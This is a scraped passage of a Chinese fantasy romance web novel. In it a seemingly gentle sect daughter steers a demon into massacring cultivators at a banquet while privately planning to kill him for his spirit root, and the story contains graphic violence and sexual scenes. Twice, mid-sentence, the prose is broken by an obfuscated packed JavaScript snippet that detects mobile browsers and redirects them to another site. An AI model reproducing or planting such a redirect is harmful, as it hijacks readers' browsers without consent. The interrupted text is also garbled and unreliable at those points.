他刚想要开口,程今越却嘤嘤地开始哭起来,声音哽咽又小声,泪水很快打湿她的脸,也沾染到怀钰的脸上,冰冰凉凉的,和程今越的手一样。 怀钰原本的怒意顿时散了许多,他有些不知所措,浑身都开始滚烫起来。 他明明没有用多大的力气,而且现在他不也放手了吗,程今越在哭什么? 怀钰愣愣地,程今越却缩进他的怀中继续啜泣着,泪水打湿了他胸膛的衣裳,冰凉的触感在怀钰胸膛蔓延,他却感觉比火还要滚烫。 他将程今越抱起来,两人坐在床上,程今越却直接坐在他的身上,死死地抱着他,自顾自地落泪。 怀钰彻底慌了,他收了红色的眼眸,想起程今越安慰程蕴知的样子,也将手放在她的背上揉搓着。 “别哭了,程今越,别哭了……” 怀钰从来不知道该怎么安慰人,他从来就没有想过这件事情,他只会杀人。 所以他只能无助地抱着程今越,尽量抱紧她,将他身上的热量传递给她总是冰凉的身体。 没有点灯,帘子也将窗户的光遮得严严实实,屋内只有两人的呼吸声,暧昧地交织着。 怀钰从来没有这样紧张过,因为视野被遮住,所以人的触觉会更加灵敏,怀钰浑身发硬,感受着程今越柔软的身躯贴在他的身上,他觉得有些不好,两只手不知道放在什么地方。 他抱着程今越,两人沉默无言,怀钰心中的怒火开始消散,开始想起程今越说,爱一个人的表达,就是要抱紧对方,那自己现在这样的行为是什么呢? 难道说他爱程今越吗?他好像不反感抱着程今越,甚至还有些眷恋…… 但是他好像不懂什么叫做爱。 怀中的程今越终于小了哭泣的声音,她哽咽着,“怀钰,我看见你的眼睛可以魔化了,证明我们的努力是有效的,你身上的封印快要解开了,我很开心。” 其实怀钰本来是想用那双血色的眼睛吓一吓程今越,却听到这样的回答,他不禁心中有些酸涩和愧疚。 “怀钰,对不起,我是答应过你,不会断开神识。” “但是今晚高手如云,特别是大衍剑宗的宗主在场,我不清楚他的实力,但一定不会弱,你的封印还没有解开,所以我只能断开神识。” “对不起怀钰,是我的错,如果我强一点就好了,那样就不会让你受这样的委屈了。” 程今越抬起头,泛红的眼睛盯着怀钰。 怀钰听了程今越的解释,一时间说不出来什么,却把她最后一句话听进去了。 “强一点”。 他不强吗?他已经足够强了,他可以直接把当时殿中的人全部杀完,他绝对可以做到,但是程今越不允许他这么做。 她说复仇虽然重要,但是我们一起活下来更重要。 所以怀钰现在还不够强,他还需要去变强。 他大概知道程今越为什么哭,一定是宴会中,那群人没有人给她准备椅子,或者是有谁又欺负了她了。 也有可能是……他吓到了程今越。 怀钰握紧了手,心中的杀戮欲不断燃起,最后又被程今越的那句话不断压回去。 “你说的事情……我已经去做了。”怀钰突然说。 程今越告诉怀钰,仅凭他们二人,是绝对不够杀出重围的,他们需要帮手,而魔界那一群急需首领的魔,就是他们最好的帮手。 那时程今越的眼睛炯炯有神,闪着光,她抓着怀钰的肩膀,让怀钰觉得她的柔弱的都是假的,其实程今越比谁都要强,因为他看见那双眼睛里透露出来的锋芒,如刀一样。 可程今越一哭的时候,又让他觉得方才的感觉是幻觉。 “那群蠢货?我要他们做什么?”怀钰皱着眉头,眼眸中全是嫌弃。 “不是‘我’,是‘我们’,怀钰。”程今越改正他的话。 程今越先说了成为魔神有多少人追随他,手中有多少权力与力量,这样就有一群人来帮你复仇,帮你杀光仙门所有的人。 而怀钰却愣了愣,他摇了摇头,他不需要这群废物帮忙,他一个人就可以,他从来都是单枪匹马。 程今越突然有些想笑,这是她第一次见过不想要权力的人。 她想了想,又说,“那样会有很多人爱你。” 怀钰犹豫着,又摇了摇头,“我不信他们会爱我。” 就连程今越说爱他,他也依旧难以置信,虽然他没读过人间的什么圣贤书,但他觉得自己没什么闪光点,根本不配。 “但我想要那样。”程今越终究还是坦诚了。 “怀钰知道我太弱了,如果怀钰成为魔神,有很多人可以保护我的话,我就不用死了,我就可以和怀钰在一起更久了。” 怀钰愣住了。 他思考了一下,随后点了头,“那……好吧。” 他又突然反应过来,猛地说,“我可不是为了你,你也跟他们一样,只是废物罢了,我只是觉得你说得对,他们可以当我的肉盾,把那些仙门的弟子都杀了,能杀几个算几个。” 程今越突然笑出了声,然后抱住了他。 他喜欢看程今越笑,觉得这样竟然有些莫名的满足。 虽然他没有懂程今越这个笑真正的含义。 怀钰是天生魔种,光凭血脉就能压制几乎魔界所有的魔。 怀钰很讨厌和人相处,或许是恐惧或许是厌恶,所以他的方法很暴力,他只说了一句类似“顺我者昌,逆我者亡”的话,谁不服就把他一刀砍了,血流满地的时候,他已经完成了大部分的收服了。 程今越点了点头,用手摸了摸怀钰的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799400|155328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,“做得好,怀钰,接下来你就听我的就好。” 怀钰下意识点了点头,随后他又察觉到自己不对,他又冷哼着说,“听你的?我看你还是赶紧帮我把封印解开,这样我还可以考虑考虑不杀你。” 但程今越没说话,怀钰突然感受到自己脸上轻轻落下了程今越的一吻,湿润又缠绵,带着程今越身上的香味。 怀钰浑身一颤,原本就僵硬了许久的身体变得更加肿胀难受,他觉得自己有些渴,他看着程今越鲜红的唇,他一瞬间好像失去了思考,他一把扣住程今越的后脑,将自己的唇狠狠覆了上去。 他的眼眸中燃着欲望,如饿狼一般,牙齿碰撞间,气息紊乱,这个吻毫无技巧,每一次吸吮都带着粗野的力量,呼吸滚烫而凌乱。 程今越却毫不躲避,她揽着怀钰的腰,主动靠了上去。 “怀钰,接吻不是这样的,我教你吧。” 她轻笑着,轻轻抚摸上怀钰的脸,他的脸滚烫,从耳根红到了脖子。 她柔柔地吻着怀钰的唇,带着无尽的温柔,将自己身上的气息一点一点度到怀钰身上。 程今越感受着某处的肿胀,将她有些硌住了,但她却毫不躲避,甚至又往前挪了挪。 怀钰浑身一愣,羞耻感从他心中升起,还未等程今越再进行下一步,怀中的人又再次消失。 程今越脸上的笑意骤停。 到底是哪里不对,怀钰为什么又走了? 光是靠拥抱和亲吻的话,她要等到猴年马月才能把怀钰的灵根沾染满她的气息。 孟朝已经去收集材料了,按照他的本事,也不过就是这几个月的事情了,怀钰的封印解除已经快了,她已经迫不及待杀了怀钰,然后换上他的灵根。 程今越沉睡的时候,没有人听到她床底传来了隐忍的声音,克制地,声音的主人正痴迷地看着程今越,他的呼吸急促又压抑,最后随着一声闷哼舒展开来。 * 程今越一早就被拉起来梳妆打扮。 还在准备的时候,就先听到了一个坏消息。 孟朝告诉她,所有的材料都已经找齐了,唯独一样东西寻不到,名为破魔铃。 这世间的破魔铃有许多,几乎是每个仙门,甚至是许多人手里都有的东西,不算稀奇。 毕竟这世间魔物众多,破魔铃专门用来对付魔物。 但是每个人制出来的破魔铃品质天差地别,有的破魔铃是通用对魔,效果一般。 而有的破魔铃是专门用了这一类魔的血液制成,专门应对这一类魔物,效果显著。 更有甚者,会为一只强大的魔单独制作破魔铃,几乎可以一击毙命。 但这样的情况自然少见,同时,这样的对单破魔铃,世间只能存一,如果已经存在了一个,无论怎么炼制第二个都会失败。 程今越给了孟朝一滴血,要他去找专门对付这一只魔的破魔铃,按理来说,已经有了这滴血,就相当于有了气息,再搭配术法,就能精准找寻到破魔铃的方向,一路寻找下去就能找到。 但是,孟朝的术法,却没有定位到这一只破魔铃的方向。 19.第十九章 孟朝做了无数次术法,甚至让他修为极高的师父帮忙,但是依旧没有得到结果,就连他的师父也感到十分惊讶,不服输的心情让师父连续尝试了好几天,竟然都没有得到结果。 那就只有一个结果,有修为格外高的人下了术法,阻隔了这只破魔铃的气息。 程今越皱了眉头,是谁? 这只能问怀钰到底是谁下的封印。 怀钰从诞生之日起,就开始四处屠杀,他一身的魔种血脉格外亮眼,犯下的种种恶行,早就引来了无数的仙门弟子,可偏偏所有的人都有去无回,几乎都死在了这个魔头的手里面。 少有的跑出来的几个人回到仙门之中报告长老,所有人都只得出来一个结论:这个魔种毫无感情,以杀戮为爱好,若不除之,今后必为大患。 怀钰都听不懂他们在说什么,反正谁拦他的路他就杀谁,简单快捷而方便。 这些人弱得可怕,他只需站在原地,什么都不做,对方就会因为怀钰魔种的血而浑身战栗颤抖。 他若是再施展魔气,对方就会瞬间被魔气碾破血管,七窍流血而亡。 有的还算有点本事,能在他手底下过个几招,但也没什么意思,几下就掐死了。 他不明白,他就是饿了,想吃个人,怎么一群人都来阻碍他。 后面怀钰也遇到了同样是魔种的同类,可这群魔物比那些人类还要弱,他们甚至害怕他吃掉他们。 后来怀钰学聪明了,他开始在人群中隐藏气息,不再展露魔气,但他依旧无法跟人正常交流,对方只要跟他对视,便会浑身颤抖,然后逃离他。 他便会气愤地把这些人杀了。 次数一多,怀钰也不再和人交流了,一点意思都没有。 为了躲避追杀,他就吃一个人又换一个地方,就这么逃了数十年。 他也常常听见别人对他的评价,“以杀戮为乐”,最开始他解释了,不过没有人听,或许是叛逆,他也就开始做和评价一样的事。 大家说他是“怪物”“魔种”“瘟神”,那他路过一个村子,就杀光整个村子,反正大家都这么认为,那他就这么做好了。 久而久之,他确实能从杀戮之中找到快乐了。 不过他杀的人太多了,导致有更多厉害的人找到他了。 那时他在血泊之中,身上全是伤,眼前密密麻麻的全是人,他记不清自己杀了多少人。 最后他只听见铃铛的响声,自己便被永远地被关在了一个深不见底的地下,法力全无。 他们拿刀剑砍他的身体,将他的心脏挖出来,将他切割成小块,将他的骨头砍断,可依旧杀不死他。 这只可怕的魔种会用极强的恢复力再次复活,没有人见过这种怪物。 大家猜测,或许是因为他身上的灵根,那是至纯的魔种灵根,足以让这只怪物永远不死。 他们几乎集齐了全仙门所有的高人,却都没有人能够毁掉他身上的灵根,甚至还会被魔气反噬。 办法倒是有,但必须要魔种自愿提供配合,但这怎么可能。 所以怀钰被关在地渊里几年,不吃不喝,但他却依旧死不了。 他也不想死,他凭什么去死。 恨在他的心底生根发芽,他发誓,等他出了地渊,恢复了实力,他就把这群仙门的人全杀了。 不过还真给他找到机会,他跑了。 不过命运给他开了个玩笑,他竟然和仙门的人合作了。 程今越问破魔铃的事,怀钰只摇摇头,什么东西,听都没听过。 程今越无语,还得靠她自己。 当年追捕怀钰的都是世间有名的仙门强强联手,这破魔铃必然在这些仙门之中,但具体是哪一个仙门就不得而知。 但给破魔铃布下术法,阻碍气息流露出去的那个人一定是一个修为极高的高手,想要找到他,对普通人来说并不简单。 但偏偏对手是程今越。 她找来寻找破魔铃的术法,虽然她找不到破魔铃的气息,但是她能感受到使用遮挡术法的那个人的气息,对方很厉害,仅仅显露出了一瞬间的气息,但依旧被程今越捕捉到了。 这就是长明族血脉的可怕之处,能捕捉到世间存在的所有气息,而程今越更是其中的佼佼者。 程今越猛地涌出一口血,笑着将嘴角的血拭去,从隐蔽的角落里走出来。 如今她已经拿到了气息,只需要进行匹配,就知道气息的主人是谁,现在她必须要让气息的主人出手。 偏偏今日就有众多的仙门首领齐聚一堂,这不正是个大好的机会吗? 程今越用神识把消息传给了怀钰,又想将怀钰给他的坠子戴上,却发现那双坠子不见了。 除了怀钰本人干的还能有谁,无聊得要死。 等她把怀钰的封印一解开,她就要挖出怀钰的灵根,把他杀了,继续过自己逍遥自在的日子。 她抬头时便发现程蕴知已经在等她了,她笑盈盈地牵上程蕴知的手。 * 此刻还算晴空万里,微风阵阵,程今越笑着伸出手感受着风,好像风也能被她握在手里。 宴席的华丽不必多说,程今越坐在程蕴知的旁边,大衍剑宗是请客的主人家,所以程今越落了个不错的位置,尽管在场随便一个弟子挑出来都比她的修为高。 靠着程今越的是位样貌带着少年气的女子,气质出群,一时间让人难分男女,她束着高马尾,意气风发。 此人名叫月如仪,炼月楼的少主,她的父亲也就是炼月楼的楼主,程旭那日要程今越嫁的人就是他。 月来仪看起来和程今越年岁差不多,气质却差异极大。 若是程今越那时答应了程旭的要求,程今越就成了月来仪的后妈,月来仪还得叫程今越一声母亲。 两人之间除了互相问好外并无多的交流,月来仪看起来不是个好相处的主,像一把红缨枪,带着兵器的冷,以及不加掩饰的锋芒毕露,上扬的眉眼间透露着一丝高傲。 坐在程今越对面的叫祝祁,青岩山的少主,样貌不算差,但也算不上出众,程今越瞥了一眼就没看了。 祝祁旁边的位置还空着,这是无定界少主的位置,不,应该说是界主了,毕竟无定界的界主不久前方退位,他已经成为名副其实的界主的。 程今越正想着,便看到一个身着儒雅的人缓缓走来,身姿挺拔,比众人都高。 好像……跟怀钰差不多。 穿着并不亮眼,但通身的贵气逼人,步伐从容,活生生将普通的衣裳穿得亮眼,衣裳将他的线条勾勒出来,这是从骨子里透露出来的高贵。 正是无定界的界主,萧极。 程今越皱了眉头,她看到此人便觉得不喜欢,对方虽五官柔和儒雅,有着书生气,但骨子里明明就是凉薄感,一双眼虽笑着但又透露着冷辣。 他落座,与祝祁说着话,他多作为听众,安静地听着祝祁说话,看起来与祝祁格外亲昵,却似乎有着抹不掉的距离感。 而一瞬间,程今越浑身一颤,萧极敏锐地注意到了程今越的目光,尽管程今越只是瞥了两眼。 萧极似是不经意间抬眼看了看程今越,嘴角的笑却更浓,这个目光让人无法看透,冷淡又温和的。 而程今越干脆不再躲藏,她大大方方地与萧极对视,两人互相一笑,随后别开目光。 程蕴知将两人的动作尽收眼中,她心中顿时一阵难受与不爽。 “你喜欢他吗,小越?”程蕴知警觉。 程今越微微一愣,没想到程蕴知会突然问这样的问题。 她低眸微微一笑,“我喜欢长得好看的人,在场的许多人我都挺喜欢的。” “那我长得好看吗?”她问。 “当然,姐姐是最好看的,天下人中,我最喜欢的就是姐姐。”程今越笑着。 程蕴知瘪着的嘴角升起来,“我不准你喜欢萧极,虽然大家都说他是个好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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作为一宗之主,如果她是程旭,她便会直接放弃程蕴知和程望这两个废物,直接多生几个子嗣。 这两个蠢货,拿出来遛遛她都觉得丢人,都是成事不足败事有余的东西。 今日说是程旭的寿宴,但其实是程蕴知的主角。 程蕴知自从生病后,许久没有出现在众人的视线中,如今她坐在显眼的位置,穿着华丽,格外引人注目。 同时,如今这些少主大多没有定下婚约,这场宴席也大有物色的意味。 程旭便要在今日给程蕴知寻一位强大的夫家。 果然程旭客套话了几句后便开始谈及程蕴知,甚至连众人期待的,中途回归剑宗的三小姐的一句话都不提。 程今越全程不多言语,低着头,不想让其他人多注意到她,言多必失,她不想让别人记住她。 程蕴知多次想要把程今越介绍给众人,却都被程今越的眼神阻止,这让她开心之余又多了些无奈。 程蕴知身旁又重新回归了许多人,她有些开心,但更多的是一种难以言说的情感。 宴会喧嚣,欢闹非凡,时间已是夜晚,席间灯火通明,无尽繁华。 献礼的献礼,献艺的献艺,反正和程今越没有什么关系。 “我为宗主奏个曲子吧。” 萧极站起身,浅浅笑着,话中少了许多尊敬,散漫至极,带着一丝傲气,却没有一个人敢质疑。 他仅仅是站在那里就足够有压迫感。 别人都送名贵珍宝,他萧极就献一首曲子,好大的脸。 程今越心中冷笑,等着欣赏萧极的大作。 却听见萧极话锋一转。 “不过……仅凭我这一根箫,怕是不够精彩。” “听闻剑宗三小姐在人间学了才艺无数,在下可否邀三小姐共同演奏一曲?” 那双黑色的眸子漫不经心地盯着程今越,黝黑至极,却没有情绪,可以任人揣度,深不见底。 20、第二十章 所有人都随着萧极的目光朝程今越望去,一双双眼睛在程今越的四周闪烁。 程今越顿时抬眸,她笑着站起身,心中却警惕着观望着。 她被发现了? 不可能的,她有绝对的自信。 众人从别人嘴巴里听闻的程今越,想象出来的都是一朵善良柔弱,一捏就碎的小白花,经不起风吹雨打,需要人的精心呵护。 她的善良让普通人尊敬,让当权者冷笑。 当众人看见她的时候,在心中几乎已经敲下了锤子,和想象中似乎并无二样。 低着头,柔顺的,像一只乖巧的羊。 特别是程今越与月如仪坐在一块的时候,亮眼的红与柔弱的白碰撞在一起,这种感觉更为明显。 所有人都看着程今越的反应,她这个从人间穷乡僻壤走出来的三小姐,会被吓得说不出话,磕磕绊绊,又还是会直接哭出声来? 程望听到这话,更是在席上笑出了声。 所有人的心中更是有了猜测。 程今越从容地站起身,抬眸直视着萧极,声音不急不慢,“今越不过学了些皮毛,若是公子不嫌弃,今越自愿一试。” 萧极一双眼睛看着她,眼皮都不抬一下,像是居高临下的俯视。 一张琴摆在了众人中间,此琴置于檀木架上,木色沉郁,琴身似有流光婉转,雕琢不多,但庄严古朴,透露着贵气,同萧极浑身的气质一般。 “请。” 程今越缓缓走至琴前坐下,她气质沉稳,像雨后的春景,暖色的光落到她的身上,温柔的气质如风一样散布开来。 没有一丝紧张,甚至可以说是从容不迫。 萧极站在她的身边,手上拿着一根玉质的箫,通体润色,暖中带冷,和他细长如玉的握住箫的手一样。 程蕴知看着这群人变脸色,脸上的笑意完全止不住,她抬着头,看着两人。 无定界的界主?其实也不过如此,也只是勉强有站在小越脚边的资格罢了。 这才哪儿到哪儿,等会你们才知道小越有多厉害! 所有人还在等着萧极开口说话,却突然听见一声悠远的箫声。 随即古琴的声音随之而起。 众人又疑又惊,不是连奏什么曲子都还没说吗,怎么就开始了? 那时,箫声与琴声互相试探着,先是一段单奏,随后两者便如黄昏沉闷的雨,花香凝滞在雾气一样,逐渐缠绵在一起。 恍若站在危楼上凭栏远眺,行人行于春山之中。 曲调交融在一起,如水一样。 谁也不敢相信这是二人的第一次相遇。 没有人知道萧极还吹得一手好箫,也没有人知道程今越会弹一手好琴。 就连萧极也意外。 他眼中戏谑地望着,心中却有一种黏湿的不适感。 程今越越是与他相契合,这种感觉便越强烈。 琴箫越是合鸣,他便越像是洞穴之中的人,被一点一点用光探穿,像是茧一样,被人剥开外壳。 他讨厌这种感觉,程今越也一样。 这是意料之外的事情,他们都讨厌不在掌握之中的事情。 一曲毕了,众人顿了顿才回过神来。 所有人都用别样的目光看着程今越。 也有人站在远处死死地看了很久,眼睛像是要吃人。 两人的目光不经意交织在一起,程今越立马低下了眸子,萧极却直直地看着她,眼中带笑,却让程今越不寒而栗。 夸赞声此起彼伏,程今越微微作揖,回到了座位之中。 她听到月如仪对她说,“你倒还真不错。”对方勾唇笑着,直截了当,毫不避讳。 萧极偏头看着程今越,笑容扩张开来,眸中晦暗不明,他缓缓地将箫递给身旁的仆人,他张口又微顿,所有人的心跳与呼吸都被他控制着。 “三小姐的确如传闻中一样。” “我这把琴出自名匠之手,却苦苦没有人能与它共鸣,不如这把琴,就送给三小姐吧。” “公子谬赞了,那今越便谢过公子了。” 程今越坐在位置上,低着头,不与萧极对视。 她讨厌萧极的眼睛。 如果有机会,她会亲手剜掉他的眼睛,做成观赏品,那样一定很美丽。 程今越刚收了琴,程望却突然站了出来,他鲜有地伪装了恶劣的外表,脸上笑着,“小妹果然厉害,我定要敬你一杯。” 程今越刚要拿起自己的酒杯,程望身边的婢女却捧出了一瓶酒,走至程今越身前。 “这是大哥搜寻而来的珍藏美酒,赠予小妹,小妹一尝便知!” 婢女将酒倒进空杯中,将其斟满,酒香溢出,的确是好酒。 婢女又将酒杯送至程今越的手中,程望已经举杯,饮下了自己的那杯酒。 这几乎没给程今越拒绝的余地。 程今越一笑,举起酒杯,放至唇边,又缓缓停留。 程望神情也随之微变。 怎么会有程望这么蠢的人呢? 随后她将酒一饮而尽。 烈酒入喉,光洒在她的身上。 而刹那间,宴席中的灯火熄灭,黑暗袭来,恍若舞台上的演出戛然而止。 惊慌声此起彼伏,随之传来窸窸窣窣的脚步声,有慌乱的婢女打翻了什么东西,巨大的一声落到地上,恐慌的气息迅速弥漫开来。 “有刺客!” “是魔物!还有魔物!” 暗中传来尖叫的声音,随后是刀捅入身体的声音,尖叫声戛然而止。 一切都发生在同一刻,快得要命,甚至没有人反应过来。 灯一灭的一瞬间,程今越感受到自己的肩膀被人狠狠钳住,疼痛迅速传来,一只手捂住了她的嘴和眼睛,一股大力将她狠狠勒至后方。 程今越感受到自己被人捆着跑到了宫殿之外,手掌的缝隙中透露出月光,一路颠簸起伏,已经远离了宴会处。 这几人都是高手,她感受到他们的修为不低,但是他们的目的只是绑了她,如果要杀她,在黑暗的一瞬间就可以动手,毕竟没有人会觉得程今越能有什么反制手段。 既然不想杀她,那程今越也不做任何挣扎,倒要看看这群人想要做什么。 她闭上眼睛,感受着大半个大衍剑宗的气息,一口鲜血从她的喉咙之中涌出。 绑架她的是大衍剑宗的人,气息她都很熟悉,她看不见脸也能认出是谁,是谁安排的呢? 真是好难猜啊,她想到程望给她的那一杯下了药的酒,甚至想要笑出来。 她安排的魔物已经闯入了宗门之中,但按理来说不会这么快的,这群废物怎么有本事闯进结界? 她任由鲜血从嘴角汩汩流下,感知如蛛网一般蔓延开来,掌控着所有人的气息,捕捉着所有人的欲望。 不对……有一大堆陌生的气息,这些人从宗门外闯进来,直接破掉了大衍剑宗的结界,凶猛无比。 他们是谁的人?想要做什么?除了要杀人,程今越想不到任何理由。 杀的人是谁呢? 最好把剑宗的人全杀了吧。 一群人将程今越放到一间偏僻的宫殿中,她被摔到一张床上,众人仔细看去时,才发现程今越的身上全是血,脸色苍白,偏偏嘴上还带着她那一张温柔的笑,不哭不闹,甚至还有些高兴,像一只娃娃。 “长公子还不来吗?”其余的人都没有说话,程今越突然冷不丁冒了一句话,让所有人背后发寒。 还不来送死吗? 本来没想现在杀他的,偏偏赶在这个最混乱的时间点,那她不得不杀了。 长公子给他们的任务就是趁机绑走程今越,然后看好她,最后守在门外。 这群人跟在程望身边很久了,这样的事都做得十分熟练,之后要发生什么不言而喻,被绑架的少男少女大多又哭又闹,吓得整个人像发了疯。 这是他们见过第一个这样冷静的人,仿佛背后有什么他们不知道的吩咐。 程今越安稳地坐在床上,头上的发髻已经全乱了,她干脆全拆了,一头乌黑的长发落在单薄的背上,偏偏妆容又十分艳丽,外界尖叫声不断传来,宫殿有些空旷,冷色的月光从窗户落在她的身上,她带着笑,像极了鬼魅。 所有人一愣,呼吸骤停之时,窗户与门瞬时爆炸开,几道阴寒凌厉的刀如离弦之箭落来,屋内的人也是大衍剑宗的高手,迅速一躲,但根本耐不住不速之客的速度之快,一条手臂便落在了地上。 绑架她的是程望的人,这一群黑衣人应该就是今晚真正的刺客。 她只是一句话一个动作,便吸引走了程望的人的注意力,让他们一开始就落于下风,而这群刺客也不是等闲之客,全都是一批精锐,不过几招,刀剑声响了几下,屋内程望的人便都躺在了地上,血腥气蔓延开来。 挡在程今越身前的人全都倒下,这三四个刺客便看向这个最弱的程今越,动作明显慢了下来,甚至有些玩味的意思。 他们的压迫感按理来说很强,可程今越却依旧端坐在床上,地上的血没有一滴沾到她的身上,她的黑发随风飘着,惨白的脸上带着笑,嘴角还有未干的血。 床比地面高出许多,她像是坐在神坛之上,低着眸看着眼前几人,眼中平淡如水,眉头轻轻挑起,嘴角的亲近又疏离。 黑衣人皱着眉,看来这女人是不见血不死心啊。 一人腾空而起,剑朝程今越刺去,带着凌厉的风,剑锋直指程今越白细的脖颈。 越来越近,越来越近,窗外寂静中传来恐惧的气息,白色就要出现他的跟前。 剑刺到了! 不对! 红色!一双的红色眼睛猛然占据了他所有的视野,带着浓烈的杀气,对方猖狂地笑着,笑声打破此刻的寂静。 他震惊地看见对方徒手抓住了他的剑,只听见一声清脆的声音,那是剑裂开的声音。 怎么可能!怎么有人能徒手折断他的剑!这不可能! “你是谁——!” 还未等尾音落下,他胸口中传来剧烈的疼痛,对方一拳砸进了他的胸口,肌肤,血管,骨头,内脏,背后,贯穿了! 他狠狠地被砸到地面上,疼痛弥漫全身,心脏伴随恐惧猛烈跳动着。 绝对实力的碾压,掐死他就跟掐死蚂蚁一样,怎么会有这样的人存在! 对方浑身是血,站在原地笑个不停,血腥气弥漫开来,不知沾了多少人的血。 他瞬间消失在原地,出现在另外的人身后,又是贯穿身体的一拳,三人双双躺在地上。 但是对方根本没有打算就此放过他们。 一拳,一拳,又是狠厉地一拳,精准地对着头,伴随他疯了一样的笑在这偏僻的屋内响起,他看见他的同伴的头已经被碾碎,红白混杂的液体靡乱地涂抹在地上。 有些长的头发遮住了他血红的眼睛,血溅在他的身上,他却更加兴奋。 像一条……疯狗! 随后那一张脸以极其怪异的姿势,转到了背后,那双眼睛笑着看着他。 随后屋内归于一片寂静,血静静地流淌。 “怀钰真乖。” 程今越坐在床上,如雪般白的脸在月光下泛着柔光,她的眼睛笑得轻轻眯起来,她低头看向怀钰,温柔地,慈善地,怜悯地,她朝怀钰伸出手。 不受控制地,疯狗跪在神女膝下,任由神女的手放在他的头上抚摸着,一双血色的眼睛痴迷地看着她,享受着头顶的温柔。【魔蝎小说 mo xie xs .c om】 20-30 第21章 “三小姐,你的狗可真听话。” 好奇怪,整个人都变得好奇怪。 好喜欢这种感觉,被抚摸的感觉。 好喜欢程今越用手揉他的头,爽感从他的头皮传递到指尖,又传递到心脏,伴随血液传递到全身,随后他浑身开始颤抖,伴着他杀人的快乐,一同污染着大脑。 “神女殿下,我做得好吗?” 他抬起头望着程今越。 “我来的及时吧!” “这群蠢货,全都被我们玩弄于股掌之中,哈哈哈哈——” 被头发半遮掩的眼睛瞪大着,眼睛的下三白露出着,他表情格外疯癫,笑声传遍整个屋子。 怀钰以前都只是单纯地杀人,从这群人的恐惧之中获得快感,而如今不一样了,他们二人躲藏在黑暗之中,悄悄操控着所有人,却全然脱身,这是一种掌握全局的快感,怀钰从来没有得到过,他快要爽得死掉。 他承认,程今越是一个非常好的领导者,沉稳,冷静,不骄不躁,好像平常的喜怒哀乐已经从她身上扣掉了,绝对的控制全场。 程今越竟然把大衍剑宗的结界破掉了,他率领一群魔物,见到一个人就杀一个人,山门外已经是血流成河,甚至还有他见过的人,有曾经抓捕过他的人。 几千人?他忘记了,不知道杀了多少,反正全死了,没有比屠杀仙门的人更爽的事情了。 太爽了——! “怀钰,你做得很好,没有你,我们完全没有办法成功。” “我们还会杀更多仙门的人,这是我答应你的,别着急,我们还会有更多的胜仗。” “我们是这样的契合,怀钰。” 程今越眼睛似笑非笑,嘴角却缓缓地扩张开来,洁白的齿从她鲜红的唇中露出,像神,像鬼,像妖,无法辨别。 怀钰看着程今越,他的手中一抖,突然变出一对血色的坠子,这是程今越的耳坠,但和之前的却有很大的区别,上面添了繁杂的装饰,熠熠生辉,贵气它的身上显露出来。 程今越微微一愣,看向怀钰的眼睛,却没有接过。 她只是微微转身,用白细的手指轻轻挑开了自己的头发,露出白色的耳垂,她侧对着怀钰,眼眸斜垂看着怀钰,嘴角微微勾起。 怀钰不知为何,他轻轻咽了咽了喉咙,他飘忽了一下眼神,随后他向前两步,站在程今越的身旁,他拿着耳坠,犹犹豫豫地,程今越却一把抓住他的手,拉到自己的耳畔。 “怀钰不想帮我吗?” “才没有……”他浑身滚烫起来,修长而骨节明显的手捻住耳坠,将他亲手做的耳坠挂到程今越的耳垂上。 如此契合,如此美丽。 他的东西挂在程今越的身上,这是一种奇怪的感觉,就像是行刺的刺客也会穿一样的衣服,告诉别人他们是一伙的。 这样下来,他和程今越也是一伙的。 他恶贯满盈,杀戮无数,竟然也拥有了同伴。 但是“同伴”这个词,或许还不够。 他们应该叫做“共犯”。 怀钰今晚杀了好多人,仙门肯定对他恨之入骨,可是他们又怎么会想到,其实指使他的,是所有人都敬仰的,善良的,大衍神女。 的确,程今越说的没错,他们本来就是一样的,一样的恶,一样的坏,一样的同流合污。 他们其实早就该认识了,他们天生下来就应该待在一起。 他浑身的血液都兴奋着,这是他送给程今越的东西,程今越戴着他亲手做的耳坠,这简直比杀人还爽,极大的满足感占据了他的全身。 他看了又看,不断地欣赏着,程今越身上的香味还在他脑子里萦绕,让他脑子有些晕晕乎乎。 他想要做些什么,而程今越却突然起身,望向门外,“程望要来了。” 她抬头看着怀钰,笑着说,“杀了他。” 怀钰猛然清醒过来,愣愣地点点头,也跟着程今越笑了起来,“好,我们杀了他。” 他没有刀,不过杀掉程望,只需要轻轻捏爆他的头就行了。 居然现在就要开始复仇了吗,好快,果然在程今越的指挥下,一切都是这样顺利…… “等等。” 程今越突然叫住了他。 不对,不只是程望的气息,还有其他人,这个人气息深沉,修为极深,怀钰绝对不能在他面前出手。 虽然怀钰身上压抑着魔气,常人是不会感受他的气息的,但是程今越不敢为了一个程望冒险,她不敢赌对方的修为到底有多高深,一旦被对方发现,后果将不堪设想。 她被发现和魔族联手事小,怀钰死了才是事大,都要拿到手的灵根,怎么能让他这么跑了? “不杀了他吗?”怀钰瘪着嘴,不解地看着程今越。 “杀了他?之后会的。” “怀钰,死是一件很轻松的事情,有时候甚至是解脱,他怎么可以这么轻松地去死呢?” “你去做你原本该做的事情吧。” 程今越说着,一边捏碎了身上的信珠。 她又不是只有怀钰一把刀。 怀钰懵懂地点了点头,反正照做就行了。 程今越只告诉了他他应该去做什么,但他不知道程今越要做什么。 但这不重要,他只需要放空大脑,听从命令就好。 程今越总不会害他的。 而且耳坠在程今越身上,她一有危险,便可以呼唤他,怀钰也不担心她的安危。 怀钰在夜中隐去了,走前用术法将屋内清理得一干二净,好像刚才的血腥与恐惧不曾发生过一般。 